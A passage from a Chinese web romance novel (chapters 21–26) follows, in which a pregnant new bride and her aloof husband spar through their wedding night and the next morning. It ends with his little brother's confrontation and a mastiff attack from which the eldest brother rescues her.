她屏住呼吸,所有的注意力都集中在床尾那道身影和那双红色的拖鞋上。 终于,她挪到了床尾。 蹲下身,指尖触碰到那双质地柔软的拖鞋时,她甚至能感觉到自己指尖的微颤。 她回头又看了一眼陆京洲,他依旧毫无动静。 就是现在! 岑予衿心一横,抬起右脚,轻轻地、却又带着某种决绝的意味,踩在了左边那只拖鞋的鞋面上。 几乎是同时,她又飞快地换脚,在右边那只拖鞋上也如法炮制地踩了一下。 生怕踩的不够,孕反还得折磨她,两只脚都踩上去,重重的踩了好几下。 做完这一切,她以最快的速度蹑手蹑脚地溜回自己的被窝,重新将自己裹紧,只留下一双眼睛紧张地盯着陆京洲的背影,大气都不敢出。 房间里依旧安静,只有彼此的呼吸声。 陆京洲似乎完全没有被惊动。 岑予衿捂着狂跳的心口,暗暗祈祷:不管这方法多离谱,求求一定要有用啊!哪怕只能缓解一点点也好…… 不知是不是心理作用,她竟然真的觉得胸口那股若有若无的闷胀感似乎减轻了一些。 就在她稍微放松警惕,准备入睡时——“呵。” 一声极轻、却带着清晰嘲弄的冷笑,突兀地在寂静的房间里响起。 岑予衿全身的血液仿佛瞬间凝固了! 她僵硬地转动眼珠,看向声音的来源。 只见原本背对着她的陆京洲,不知何时已经转过了身,正单手支着头,在昏暗的光线下,好整以暇地看着她。 那双深邃的眼眸里没有丝毫睡意,只有洞悉一切的锐利和毫不掩饰的玩味。 “周、芙、笙,”他慢条斯理地开口,每个字都像小锤子敲在岑予衿的心尖上,“大半夜不睡觉,鬼鬼祟祟踩我的鞋……你这是,在对我下什么奇怪的诅咒?还是你们周家祖传的,什么特殊的……杀夫仪式?” 岑予衿:“!!!” 他居然醒着! 他全都看见了! 完了! 第21章 什么老婆?别乱说话! 大男人大半夜不睡觉,居然还装睡,怎么那么幼稚啊? 不是说他高傲,冷漠,不近人情,完全就是个进过精神病院的疯子吗? “我本来是想去卫生间,可是房间太暗了,没找到自己的拖鞋,才不小心踩了你的鞋子。” 岑予衿的态度,那叫一个诚恳,眼神那叫一个真挚。 陆京洲看着她局促认错的模样,笑得更大声了,有点渗人,“不小心踩到?” 岑予衿用力点头,“对。” “不小心踩到需要左脚踩一下,右脚踩一下,双脚蹦上去转着圈圈踩吗?” 狗男人观察的可真仔细啊。 岑予衿人都麻了,低着头,声音有点委屈,“我在网上看到个偏方,说是新婚夜新娘子踩新郎的鞋子,就能管着对方,恩爱到白头。” 她哪敢告诉他,自己踩他拖鞋是因为想把孕反转移到他身上。 “你还想管着我?”陆京洲被她的直白逗笑了,莫名觉得有点可爱是怎么回事? 岑予衿理不直气也壮,“你是我老公,我孩子的爸爸,我想管着你有什么问题?我对你有很强的占有欲,想成为你真正的家人有什么错?” 岑予衿眼泪汪汪的看着他,那样子像是他做了什么十恶不赦的事情。 果然! 漂亮就是资本。 这眼泪汪汪的样子,谁忍心再说什么? 而且她原生家庭不好,想和他做家人,似乎也没错。 “你要是不开心,那你踩回来嘛,又或者是我给你重新买双拖鞋,再不济我帮你刷鞋子就好了嘛,干嘛那么凶?” 陆京洲被她这颠倒黑白的能力气笑了,他凶? 他说什么了吗? 她估计是没看过他凶的样子吧。 檀月山庄还没到手,陆京洲怕再继续逗她,她告到老太太面前,这事得吹,那可就得不偿失了。 “行了,别哭了!省的老太太说我欺负你,睡不着我就把你丢出去。” 岑予衿听到这话,大概知道陆京洲吃哪套了。 “嗯,我马上睡!”岑予衿一下子钻回了被窝里。 “别靠近我啊!”陆京洲再次警告。 就见裹在被子里的人,又往床的那边挪动了几分。 见她乖得不成样子,陆京洲嘴角不自觉的勾起。 新娶的这个媳妇儿,有点好玩! 陆京洲第一次在清醒的状态下和别人睡在一张床上。 直到旁边的人已经传来均匀的呼吸声,他也没睡着。 到现在都感觉不太真实。 他居然就这么结婚了。 结婚对象还是一个把他霸王硬上弓的女人。 虽然说她那张脸还看得过去,还说自己喜欢他。 可……她算计他也是事实啊。 陆京洲又皱起了眉头,拿起手机给程凌晟发了个消息,【我这都已经结婚了,叫你查的监控还没查到?】 程凌晟:【大哥,你不都知道那是周芙笙,我还查啥?】 陆京洲:【知道归知道,只给你10分钟,要不把我账上划走的钱原分不动的还回来。】 程凌晟从他账上划了1000万,到现在什么东西也没给他。 总不可能周芙笙说什么,他就信什么吧。 程凌晟立马给他回了一个资本家折磨牛马的表情包。 这回动作倒是挺迅速,才5分钟,监控录像就发到了他的手机上。 陆京洲打开监控录像。 程凌晟还挺贴心的,居然截取了关键的视频录像。 打开就是周芙笙惊慌失措,推开他房间门的画面。 前面的几间房她都推过,是没推动,她才没进去。 到他房间门口,门没关紧,她一下子就跑进去了。 似乎真不是故意。 她跑进去之后,没多久,10多个凶神恶煞看起来像混混一样的人就追上来了。 真是在找她。 陆京洲快进着看完了所有的视频,确实像她所说的,自己真的只是走错了房间。 到第二天天亮,她才从房间里出来。 身上已经换了他的衣服,头埋的很低,显然有意避开摄像头。 肩膀还一颤一颤的,看起来好像很委屈。 陆京洲:“……” 一切都对得上,难不成她说的是真的? 房间里的事情他还有些印象,就是那女人主动的。 正想着呢,程凌晟欠欠的语音就响了起来,【阿洲,从监控录像来看,你老婆也没有传闻中那么夸张嘛,怎么样?漂不漂亮?有没有满脸麻子加龅牙?】 陆京洲看了一眼,睡觉还微微张着小口的女人:【一般。】 程凌晟更好奇了,【你说一般是怎么个一般法,拍张照片过来我看看。】 陆京洲:【一张照片500万,一手交钱,一手交照片。】 程凌晟:【我鄙视你!我虽然好奇,也没有好奇到一张照片要500万买的程度。你就金屋藏娇吧,最好一辈子别把你老婆带出来!】 陆京洲:【什么老婆?别乱说话,注意分寸。】 程凌晟:【哦!周娇娇!金屋藏娇的娇!】 陆京洲没在管他,把手机放到一边,睡不着,索性起身,走到了阳台。 点了跟烟。 月亮很圆,星星却没几颗。 都说人死了会变成天上的星星,今天晚上星星那么少,她能看到他结婚的样子吗? 陆京洲一个人在阳台待了很久,才往回走。 这才刚进房间,魂儿都被吓没了。 周芙笙那个睡觉不老实的家伙,已经滚到了床边,下一秒就要滚下去了。 他来不及多想,一个箭步冲了过去,在她滚落的瞬间,一下子把她抱进怀里。 香香软软的她,睡得格外香甜,这么大的动静,居然没把她吵醒,没心没肺,说的就是这种人吧。 幸好他动作快,要不然她肚子里的孩子要是有点闪失,老太太对重孙子那么执着,不得把他小命给取了! 陆京洲小心翼翼的把人抱回床上。 把隔在两人中间的楚河汉界收了下来,挡在她身后。 自己刚躺回床上,还是觉得不太放心。 就她这睡姿,明天早上起来估计已经滚到床下。 床那么高,掉下去指定得流产。 陆京洲给管家发了个消息,让他取几块厚一点的床垫拿到他卧室。 不要敲门! 到了发消息。 管家自然不敢得罪他,回了个消息之后立刻执行。 第22章 怎么又滚陆京洲怀里了? 没一会儿,管家的消息就发到陆京洲手机上。 【二少爷,床垫已经送到,您看需要帮您送进来吗?】 【不用,放门口就行。】 陆京洲起身看了一眼被她踩过的拖鞋,她踩的时候是光着脚踩,脏倒是不脏。 就是踩的有些扁。 陆京洲又看了一眼在旁边那个长着两个毛茸茸小耳朵的老虎头拖鞋。 自己也光着脚上去踩了两脚。 这才解气般的穿好自己的拖鞋,出门拿东西。 我家拿来的那两个床垫,都是全新的。 陆京洲把他们抱进来,才打开包装。 床垫迅速弹开。 触感柔软,虽然比不上现在自己睡的这张床单,去也还可以。 陆京洲把床垫拖到现在那边,垫了一层似乎还不够高。 又垫了一层上去。 再去找了一张羊绒毯子铺在上面。 确保能滚到它上也是舒舒服服的,才满意的拍了拍手。 再转身时,才发现她睡觉是真的,一点也不老实,身上的被子早不知道被踢到哪去了。 修长白皙的腿,就这么搭在大红喜被上。 陆京洲是真的,她一点办法都没有,她也不怕自己肚子里的孩子被冻死。 把被子扯过来一些盖在她身上,这才躺回了自己的位置上。 遇到她,只能算他倒霉。 等明天拿到老太太手里的檀月山庄,他要是再踏进老宅一步,他就不姓陆。 至于面前的女人,老太太娶的,老太太负责。 他结婚前就跟老太太说好了,结婚之后就不能再管他。 陆京洲也累了一天了,时间也不早。 确定旁边的人没在闹出什么幺蛾子之后,也进入了梦乡。 清晨的阳光透过厚重的窗帘缝隙洒进心房,在大红色的地毯上投下一道细长的光斑。 岑予衿是在一种前所未有的温暖和禁锢感中逐渐恢复意识的。 困意还未完全消散,她下意识地想伸个懒腰,却发现自己动弹不得。 腰上横着一条结实有力的手臂,沉甸甸的,带着灼人的体温。 后背紧贴着一具温暖宽阔的胸膛,甚至能隐约感觉到对方平稳有力的心跳声。 鼻尖萦绕的不再是冰冷的空气,而是一种清冽又带着一丝独特烟草气的男性气息,属于陆京洲的气息。 岑予衿的睡意瞬间吓飞到九霄云外,整个人都僵住了。 她……她怎么会滚到陆京洲怀里?! 还被他这么……这么亲密地搂着?! 记忆回笼,昨晚他冷着脸警告“别靠近我”的画面还历历在目,现在这算怎么回事? 她自己滚过来的? 昨天晚上他还信誓旦旦的保证自己睡觉很老实,怎么就滚到他怀里了? 她小心翼翼地,试图像挪动一件易碎品一样,先把他的手臂抬起来。 然而,她刚微微一动,头顶就传来一道带着浓浓睡意,极度不满的声音,“嗯……” 搂在她腰上的手臂非但没有松开,反而下意识地收得更紧了些,仿佛将她当成了一个人形抱枕,还无意识地在她颈窝处蹭了蹭。 岑予衿浑身汗毛都竖起来了! “陆、陆二少?”她声音发颤,小声地喊了他一句。 身后的人没有回应,呼吸依旧均匀绵长,似乎还在熟睡。 岑予衿欲哭无泪。 这怎么办? 等他醒了看到这情景,会不会以为是她蓄意投怀送抱? 以他那阴晴不定的性子,会不会直接把她从床上踹下去? 她尝试着又动了动,这次幅度稍微大了点。 “别动……”陆京洲含糊不清地嘟囔了一句,带着被吵醒的不悦,温热的气息喷洒在她敏感的耳后,激起一阵细密的战栗。 岑予衿彻底不敢动了。 她僵硬地躺在他怀里,感受着身后传来的源源不断的热度和紧密的贴合,脸颊不受控制地开始发烫。 这太离谱了!说好的高傲、冷漠、不近人情呢? 睡着了就这么……这么黏人吗? 时间一分一秒地过去,每一秒都让岑予衿觉得无比煎熬。 她偷偷低头,看着横亘在自己腰间的那条手臂,肌肉线条流畅,蕴含着力量感。 昨天晚上觉着有点冷,现在抱着烫的要命,只想离他远远的。 不知过了多久,她肩膀下的那只手动一动,似乎觉得不舒服,将她整个人勾进怀里。 好家伙,这么一勾更像人形抱枕了! 岑予衿就这么面对面的看着他。 下一秒,男人缓缓睁开了眼睛,四目相对,岑予衿立刻低头避开他的视线。 陆京洲看了一眼怀里的人,又看了一眼隔着十万八千里床垫。 她还真会滚呐! 给她搭了床垫她不滚,偏要往他怀里滚,说巧不巧? “周二小姐,说说吧,今天你是想先失去自己的双腿,还是双手啊?” 岑予衿:“……” 昨天晚上他说过哪个部位过界就砍哪个部位。 她整个人都过界了,不得把她杀了。 “我错了。” 可中间的楚河汉界也不见了呀。 这应该怪不了她吧? “我平时睡觉挺老实的,也不知道昨天晚上发生了什么,突然就钻到你怀里。” 岑予衿着急忙慌的解释。 可现在说什么都是徒劳。 为了让自己的话更有说服力,她下意识地仰头看着他,想展现自己的真诚。 可两人距离实在太近,她这一抬头,柔软的唇瓣便毫无预兆地擦过了他的下巴,带着一丝微凉的触感。 那触感极其轻微,却像一道细微的电流,瞬间窜过两人相贴的肌肤。 空气,在这一刻彻底凝固了。 时间仿佛被按下了暂停键。 岑予衿整个人都僵住了,大脑一片空白,连呼吸都忘了。 她甚至能清晰地看到陆京洲喉结滚动了一下。 陆京洲的身体明显僵住,搂着她的手臂力道骤然收紧,勒得岑予衿微微蹙眉,却不敢出声。 他低下头,漆黑的眸子深不见底,里面翻涌着震惊,表情是被冒犯的愠怒,那是暴风雨的前兆。 刚才那蜻蜓点水般的触碰,带来的软糯温润的奇异触感,似乎还残留在他下颌。 “解释?”他缓缓开口,声音比刚才更哑,带着一种危险的意味,灼热的气息拂过她的面颊,“这就是你的解释?” 岑予衿被他眼神里的风暴吓到了。 “意外!真的是意外!”她手脚并用地想要挣脱,可男人的力量悬殊,她的挣扎如同石沉大海,反而让两人之间的摩擦更多,气氛更加暧昧不明。 陆京洲看着她慌乱无措、眼尾泛红的模样,那双总水光潋滟的眸子中,写满了无辜。 他眸色更深,非但没有松开,反而低下头,逼近了她,两人鼻尖几乎要碰到一起。 “意外?”他重复着这两个字,语调慢得令人心慌,“你的意外,是不是太多了点?” 他的目光在她脸上逡巡,最后再次落回她的唇上。 岑予衿立马低下头,小声嘟囔,“合法的老公,不小心亲一口怎么了?我又没亲你嘴!” 第23章 该来的总会来! 岑予衿被逼的口不择言,合法老公,亲一口怎么了,这种话都干出来了。 解释不清! 根本解释不清! 陆京洲也被这话雷的不轻,眼底的愠怒瞬间被一种极其复杂的情绪所替代。 被气笑了,几乎是咬着后槽牙开的口,“合法的?” 他搂在她腰后的手非但没松,另一只手抬了起来,冰凉的指尖猝不及防地捏住了她的下巴,力道不重,却带着不容置疑的强势,迫使她抬起头,再次迎上他那深不见底的目光。 “周芙笙你是不是对‘合法’这两个字,有什么误解?”他靠得极近,呼吸交织,唇瓣几乎要碰到一起,“你觉得有老太太撑腰,就可以对我为所欲为?” 他的指尖带着清晨的微凉,激得岑予衿轻轻一颤。 被迫仰视着他,她能看到他浓密的睫毛,挺直的鼻梁,以及那双近在咫尺的、带着审视和嘲弄的薄唇。 感觉有点帅到没边了。 比周时越还要帅上几分。 “我没有那个意思,今天晚上我睡沙发好不好?我真的不是故意的,你别小题大做了,可以吗?”岑予衿委屈巴巴的控诉。 陆京洲舌尖抵着后槽牙。 她在说他小题大做! 谁给她的胆子啊? “小题大做?”陆京洲重复着,拇指的指腹若有似无地擦过她刚刚‘肇事’的下唇边缘,那细腻的触感让他眸色又是一暗,“未经允许,越界,加上……” 他顿了顿,目光落在她的唇上,“骚扰。周小姐,你觉得这是我小题大做?” “骚扰?!”岑予衿瞪大了眼睛,被他这颠倒黑白的说法气得忘了害怕,“明明是你抱着我不放!我才是被骚扰的那个!” 再说了,楚河汉界都不知道跑哪了。 她试图拍开他捏着自己下巴的手,手腕却被他轻而易举地攥住,按在了枕边。 两人此刻的姿势更加暧昧,她几乎完全被他笼罩在身下,动弹不得。 “我抱着你不放?”陆京洲挑眉,视线慢悠悠地扫过两人紧密相贴的身体,以及被他牢牢制住的手腕,语气带着一种恶劣的玩味,“证据呢?现在可是你,在我的领地范围内。” 他俯下身,温热的唇几乎贴着她的耳廓,用只有两人能听到的气音低语,“而且,刚才……是谁的嘴唇,先动的手?嗯?” 那一声“嗯”,尾音微微上扬,带着致命的蛊惑和危险的意味,像羽毛轻轻搔过心尖,又像巨石投入湖面,在岑予衿心里掀起了惊涛骇浪。 她脸颊爆红,连耳根都染上了绯色,又羞又气,却一句话也说不出来。 看着他近在咫尺的俊脸,以及那眼底分明戏谑多于怒意的光芒。 岑予衿脑中灵光一现,也不知是哪里来的勇气,忽然仰起脸,飞快地在他喉结上轻啄了一下! 不同于刚才不小心蹭到下颌,这次的她更加过分了,还吮了一下! 陆京洲整个人彻底僵住,捏着她下巴和手腕的力道瞬间松了。 岑予衿趁着他愣神的功夫,猛地挣脱开来,连滚带爬地翻下床。 赤脚踩在柔软的地毯上,立马退到自认为安全的距离。 没有半分犹豫,转身躲进了浴室,顺带把门锁上。 太恐怖了! 陆京洲这个男人实在是太恐怖了。 陆京洲看着那个仓皇逃窜的背影,难以置信的扶上自己的下颌,缓随后缓向下,触碰到刚被他吮过的喉结。 整个人还处在懵逼状态。 这说是流氓,一点都不过分吧。 她是真喜欢他,真馋他身子? 这家是真不能回了。 岑予衿在浴室心不在焉的洗漱,脑子里全是刚才的画面。 先是“不小心”亲到下巴,然后又“胆大包天”地亲了喉结……虽然是为了堵他的话,但这行为本身……跟耍流氓有什么区别?! 主要耍的还是京城第一二世祖陆京洲的流氓。 她真是不要命了。 门外静悄悄的,没有任何动静。 这种寂静反而更让人心慌。 陆京洲是不是气疯了? 在酝酿什么更可怕的风暴? 岑予衿在浴室里磨蹭了大半个小时,竖着耳朵听着外面的声响,却什么也没听到。 直到感觉外面真的没什么异常,她才做贼似的,小心翼翼地拧开浴室门锁,探出半个脑袋。 确定外面已经没了陆京洲的身影才出门。 床上的大红喜被全在陆京洲那边。 床单上挪动的痕迹也能看得出来她昨晚的行动轨迹。 她的视线落在了她睡那边。 床旁边有两个叠起来和床的高度持平的床垫,以及铺着完整的羊绒毯子。 那边显然没有动过。 昨天晚上睡觉的时候也还没有,是陆京洲害怕她滚下去铺的吗? 他会有那么好心。 她有点看不透陆京洲这个人了。 岑予衿正对着那堆床垫出神,门外传来了轻轻的叩门声。 “二少奶奶,您醒了吗?早餐已经准备好了,老夫人请您下楼用餐。”是管家恭敬的声音。 岑予衿心里一紧。 该来的总会来。 楼下等着她的,不仅是早餐,还有陆家那复杂的一大家子人,以及刚被她不小心亲了一口的陆京洲。 岑予衿深吸一口气,强迫自己冷静下来。 “好的,我马上就来。” 她走到衣帽间,挑了件款式简单大方的长衣长裤,对着镜子仔细整理了一下微乱的头发。 又拍了拍还有些发热的脸颊,试图让表情看起来自然一些,才下楼。 第24章 我才不是别人呢,我是他老婆 陆家老宅,西院门口! 一个看起来七八岁的男孩,鼻梁上架着墨镜,一人牵着两条狗,一条超大的白色萨摩耶和一条黑白相间的阿拉斯加。 身后跟着一堆保镖,保镖手里还牵着两只藏獒! “三少爷,要是被老夫人知道您找二少奶奶麻烦,一定会家法伺候的。”身后的保镖,有点担心的劝。 “知道就知道,被家法伺候的是我,又不是你,你在怂什么?要是不敢你现在就可以辞职了。”陆栩然稚嫩的声音带着愤怒。 “奶奶让二哥娶自己不喜欢的人,委屈了二哥,我就得让她知道,不是谁都能配得上我二哥,更何况是个丑八怪!我得帮二哥把她赶出去。” 陆栩然像是下定了决心,哪怕家法伺候也无所谓。 “可是……” “闭嘴!” 陆栩然把墨镜架到了自己脑袋上,恶狠狠的抬起小手指着他。 今天他就是要给那个女人一点颜色看看。 今早他看到二哥气冲冲的走了,跟他说话也不搭理,脸还红彤彤的。 肯定是被那个坏女人给欺负惨了。 谁都不可以欺负二哥! 谁都不可以! “小少爷,二少奶奶下楼了。”陆栩然听到这话,手忙脚乱的把头上的墨镜又带回了眼睛上。 双手环胸表现的很凶很凶! 岑予衿刚踏出院门,就听见一阵急促的犬吠声迎面扑来。 她下意识顿住脚步,抬眼就看见晨光里站着个小小的身影。 小男孩穿着定制的黑色小西装,头发梳得一丝不苟,墨镜滑到头顶,露出一双圆溜溜的眼睛。 他脚边的萨摩耶正吐着舌头蹦跳,阿拉斯加则晃着粗壮的尾巴,喉咙里发出低沉的呜咽,身后保镖牵着的藏獒更是眼神凌厉,浑身肌肉紧绷,一看就不好惹。 岑予衿停下了脚步,身边的佣人小琳解释道,“这位是小少爷陆栩然。” 岑予衿还没来得及说话,那小小的人就出声打断了。 “你就是那个强迫我二哥的女人?”陆栩然叉着腰,奶声奶气的嗓音刻意拔高,试图装出凶狠的模样,“我告诉你,我二哥才不喜欢你这种丑八怪,识相的就赶紧自己滚出陆家!” 说完,他还故意踢了踢身边的萨摩耶,“雪球,给她点颜色看看!” 可萨摩耶只是歪着脑袋,吐着舌头,好奇地盯着岑予衿,半点攻击性都没有。 陆栩然正想再训,却在看清岑予衿模样的瞬间,猛地愣住了。 晨光落在她微卷的发梢上,衬得那张脸白皙又柔和,长长的睫毛像小扇子似的,眼睛亮得像盛了星光,衣摆随着微风轻轻晃动,整个人看起来又温柔又干净。 这哪里是丑八怪啊? 陆栩然的小嘴微微张开,墨镜“啪嗒”一声掉在地上都没察觉。 他下意识地对比起二哥陆京洲的样子,二哥是那种冷硬的帅,而眼前的女人是软乎乎的美,两个人站在一起,好像……好像特别般配? 他有些难以置信的转身,小声问身后的保镖,“这真是我二哥新娶的老婆?” 保镖们都惊了一下,不都说二少爷娶的太太是个丑八怪吗怎么这么漂亮? 活脱脱的就是江南美人。 “从西院出来的,身边还跟着老夫人派过来的小琳应该是的。” 陆栩然有些尴尬的轻咳一声,蹲下身子,把地上的墨镜捡起来扣在自己衣服上,“你就是周芙笙?” 岑予衿对面前这个小屁孩印象不是很好。 毫无礼貌可言! 还想给她个下马威,她也不是怕事儿的人,“嗯。怎么了?” “你配不上我二哥,有点眼力见就给我滚出陆家,否则我对你不客气。”陆栩然为了自己的二哥拼了。 岑予衿看着眼前这个努力装出凶狠模样,实则连墨镜都拿不稳的小孩。 又听他左一个“二哥”右一个“二哥”,心里一下子明白了。 原来是个重度“哥控”。 她心里的不开心瞬间烟消云散,反而生出了几分逗弄的心思。 对付这种小家伙,硬碰硬可不行,得找准他的弱点。 岑予衿脸上刻意流露的几分清冷瞬间融化,微微垂下眼睫,嘴角缓缓勾起,“栩然弟弟,你怎么会这么想呢?我和你二哥是合法夫妻,是受到法律保护和所有人祝福的呀。” 她顿了顿,像是想起了什么,脸颊泛起一丝恰到好处的红晕,“而且……京洲他对我很好很好的。” 陆栩然被她这突如其来的变脸和娇羞语气弄得一愣,叉着腰的手都不自觉地放了下来,“你……你胡说!我二哥怎么可能对你好!他今早明明气冲冲地走了!” “那是因为他害羞呀。”岑予衿睁着无辜的大眼睛,语气笃定,“你年纪小,可能不懂这些。有时候男孩子喜欢一个人,就会故意装得很凶。 就像……就像他早上,虽然嘴上说着我‘骚扰’他,可是抱得我可紧了,怎么都不舍得松开呢。” 她一边说,一边悄悄观察着陆栩然的表情,果然看到小家伙的眼睛又瞪大了几分,“你不要脸。” 陆栩然攥着小拳头,连声音都拔高了两个调,“我不管!你就是配不上我二哥!我二哥可是陆京洲,是京城里最厉害的人,你凭什么跟他结婚?” 他越说越激动,干脆上前一步,小短腿在地上跺了跺。 “我二哥最讨厌别人跟他睡一张床,你要是不肯离婚还欺负他,我就让雪球咬死你。” 说着,他还用力拍了拍身边萨摩耶的脑袋,可那狗只是懒洋洋地蹭了蹭他的手心,半点威慑力都没有。 岑予衿看着他这副护哥狂魔的模样,眼底悄悄浮出一丝笑意。 她故意歪了歪头,声音放得软乎乎的,还带着点刻意的炫耀,“可是昨晚,你二哥不仅没有讨厌我,还搂着我一块睡,怕我掉下去,还特意在我床边铺了床垫,两层哦~软乎乎的。” 陆栩然震惊的视线落在了旁边的小琳身上似乎是想向她求证。 小琳笑着点了点头,“二少奶奶说的是真的,我刚才亲眼所见,那床垫是昨天李管家送上去的,不信你可以去问他。” 陆栩然的眼睛瞬间瞪圆了,“不可能!我二哥才不会对别人这么好!” “怎么不可能呀?”岑予衿轻轻晃了晃手腕,语气里满是甜蜜,“早上我洗漱的时候,他还站在门口等我,说怕我迷路呢。对了,他还叫我‘宝宝’,还夸我漂亮,像个香香软软的小蛋糕。” 这小屁孩非得气死他不可。 “你、你胡说!”陆栩然急得脸都红了,小手紧紧攥着衣角,“我二哥从来不会叫别人‘宝宝’!他连我都没叫过!” “我才不是别人呢,我是他老婆。”岑予衿故作委屈地撇了撇嘴,眼神却带着点狡黠。 陆栩然真的要炸了。 她昨天晚上就没怎么吃东西,这会是真的有点饿。 再加上老太太的人上来叫她到现在已经很长时间了。 今天是新婚的第一天,要是被人抓住把柄说教就不好了。 陆家家大业大,水比她想象的还要深,初来乍到还是低调一点比较好。 “栩然弟弟,我要去吃早餐,要一起吗?” 岑予衿看着他那气鼓鼓的样子,像没事人似的开了口。 “不许去!除非你离开我二哥!”陆栩然眼眶通红,小拳头攥的紧紧的。 岑予衿耸了耸肩,“抱歉!我只喜欢你二哥,离不开他!” 说完转身就走。 刚转身,就被小屁孩扯住了手腕,“我让你走了吗?” 第25章 岑予衿被藏獒扑倒! 手腕被一只小手紧紧攥住,力道还不小。 岑予衿停下脚步,低头看着面前眼眶通红的男孩。 “你不就是想贪图我们陆家的钱吗?!”陆栩然仰着头,努力让自己的声音听起来更有气势,但微微的颤抖还是泄露了他的急切。 岑予衿的眉头不自觉的皱了起来。 陆栩然再次开口,带着某种幼稚的豪迈,“我有的是钱!我的压岁钱、零花钱、还有我名下的基金股票,我全都给你!你说,你要多少才肯离开我二哥?” 岑予衿真是被气笑了。 她听说过白月光、情敌拿钱砸人,让人离开自己爱人的。 也听说过豪门婆婆或者是长辈拿钱砸人,让人离开自己儿子。 就是没听过小叔子拿钱砸人,还是个七八岁小屁孩,为了自己二哥的。 陆栩然像是生怕岑予衿不信,又急切地补充道,“我有很多很多!比你能想象的还要多!你尽管提要求,我一定能满足你!” 岑予衿看着他这副挥金如土只为拯救哥哥的模样,心里觉得又好气又好笑。 这小家伙虽然说是同父异母但对陆京洲倒是真心实意。 她轻轻挣了挣手腕,陆栩然却攥得更紧了,执拗地盯着她,等待她报价。 岑予衿叹了口气,脸上那点故意气他的狡黠收敛了起来,取而代之的是一种带着些许无奈的认真。 她微微俯下身,平视着陆栩然的眼睛,声音轻柔却清晰,“栩然,首先,我不缺钱。” 她顿了顿,目光坦诚,“其次,我和你二哥结婚,不是一场能用金钱来衡量的交易。” 陆栩然显然不信,小眉头皱得紧紧的,“那你想要什么?名利?地位?只要你开口,我……我也可以想办法!” 瞧他这架势,她说她想要岑氏。 他估计都要背着自己的小书包带着自己养的这几条狗狗跑过去给她闹一闹。 说实话他为了哥哥愿意倾尽所有的样子,岑予衿心里某处软了一下。 同时还有些羡慕兄弟俩感情这么好,她从小就是独生子女,也没体会过。 她伸出另一只空着的手,轻轻拍了拍陆栩然紧绷的小肩膀。 “我什么额外的都不要。”她看着他,眼神温和而坚定,“我只要陆京洲这个人,就够了。” 这话一出,陆栩然彻底愣住了。 他什么都能给,唯独不能给二哥! 他张了张嘴,似乎想反驳,却又不知道该说什么。 小琳听到这话眼睛都亮了。 老太太还说要让他俩培养感情。 这么好的感情需要培养吗? 根本不需要。 一个嘴硬心软大半夜怕二少奶奶掉下去亲自拿了床垫垫着。 一个怀着他的宝宝,心里眼里都是他~ 好磕,实在是太好磕了! 助攻之类的纯属多余。 二少爷和二少奶奶实在是太般配了。 她都不敢想他俩生出来的小宝宝会有多好看。 岑予衿话音刚落,身后突然传来“哐当”一声铁链拖拽的响声。 “吼——” 原本安分趴在保镖脚边的藏獒不知被什么刺激,猛地挣开了牵引绳。 粗重的喘息声里带着凶狠的低吼,庞大的身躯疯了般朝岑予衿直冲过来! 一只有了行动之后,另一只也迅速跟上。 藏獒猩红的眼睛死死盯着岑予衿的方向,涎水顺着嘴角滴落,前爪在青石板上刨出几道触目惊心的白痕。 陆栩然吓得瞳孔骤缩,刚才还梗着脖子的小身板瞬间绷紧,浑身颤抖。 他没有想让藏獒真的对她怎么样? 迅速挡在岑予衿前面,梗着脖子冲藏獒吼到,“大黑,小黑,滚开!” 也不知道二哥是不是真的喜欢她。 要是真喜欢……她出了点什么事,二哥会宰了他,再也不认他这个弟弟了吧。 呜呜呜呜X﹏X 大黑小黑好恐怖啊! 可那两只藏獒听到他的声音,吼的更大声了! 藏獒的动作极其迅速。 保镖们还没反应过来,它就已经张着血盆大口冲了过去。 “抓住它!” “小心!” “保护二少奶奶!” “保护小少爷!” 阿拉斯加和萨摩耶也冲破绳索,挡在岑予衿面前。 岑予衿护着小腹,想要跑回去,可视线却落在了面前那个张牙舞爪,替他挡着藏獒攻击的小孩身上。 一把揪着他的领子,扯着推给了最近的保镖。 岑予衿已经没有跑的机会了,面前的两只憨憨小狗,被藏獒咬的哇哇乱叫,特别可怜。 大黑小黑的目标就是她! 保镖的惊呼、小琳的尖叫瞬间炸开,场面一片混乱! 陆栩然完全吓傻了,小脸瞬间血色尽失,眼睁睁看着庞然大物扑向岑予衿,大脑一片空白。 “你小心!” 电光火石之间,岑予衿心脏骤停,全身的血液仿佛都凝固了。 巨大的恐惧猛的攥住了她,求生的本能让她下意识地想要后退! 可藏獒的速度太快了! 眼看那血盆大口就要咬下—— “砰!” 一声沉闷的撞击声响起。 岑予衿死死的护着自己的肚子,闭上了眼睛,浑身发抖。 她只觉眼前一暗,一道高大的身影以惊人的速度将她护在怀里。 藏獒的力道,将两人一块扑倒在了地板上。 保镖们迅速上前帮忙。 拿着绳子套住了大黑。 男人迅速起身,来不及检查身上的伤,毫不迟疑,精准而狠厉地一脚踹在藏獒的侧颈上。 力道恰到好处,阻断了恶犬的扑势。 “大黑小黑,滚开!!!”男人沉声命令,声音不高,却带着不容置疑的威严。 “你们还愣着干什么,拿镇定剂!” 他看了一眼惊魂未定的岑予衿往自己身后一带,用身体护住了她。 他那句拿镇定剂如同惊雷劈开了混乱的场面。 训练有素的保镖们立刻反应过来,有人死死拉住套住藏獒的绳索,限制它行动。 另一人迅速从随身携带的应急包中取出注射器和药剂。 “快!按住它!”为首的保镖额头青筋暴起,几乎是用全身的重量拖拽着仍在疯狂挣扎的大黑。 藏獒被激起了凶性,力大无穷,獠牙外露,涎水横飞,发出威胁的低吼,几次都险些将拉着绳索的保镖甩开。 拿着注射器的保镖瞅准时机,一个箭步上前,快准狠的将针头精准地扎进了藏獒颈侧厚实的皮毛中! “吼——!” 药剂推入的瞬间,藏獒发出一声更加暴怒的咆哮,猛地甩头挣扎。 短暂的刺激让它更加狂躁,过了片刻,药效起了作用,才慢慢平静下来。 现场一片混乱。 岑予衿的脑子一片空白,瘫坐在地上,身上哪哪都不舒服——宝宝! 宝宝不能有事! 第26章 陆京洲那个混球又滚哪去了? 陆栩然这时才哇地一声哭了出来,是被吓的,也是后怕,“大哥……我……我不是故意的……大黑,小黑它们突然……” 陆沉奕没理会弟弟的哭喊,迅速转过身,检查地上的人有没有伤到,她的声音听起来有种莫名的安全感,“伤到没有?有没有哪里不舒服?” 他很有分寸感,并没有什么肢体触碰。 岑予衿似乎花了很大的力气才聚焦视线,看向眼前这个救了自己的男人。 她张了张嘴,声音微弱得几乎听不见,带着劫后余生的恍惚,“谢谢……” 话音刚落,一直紧绷的身体骤然放松,像是最后一丝力气也被抽干,眼睫无力地垂下,整个人软软地朝一旁倒去。 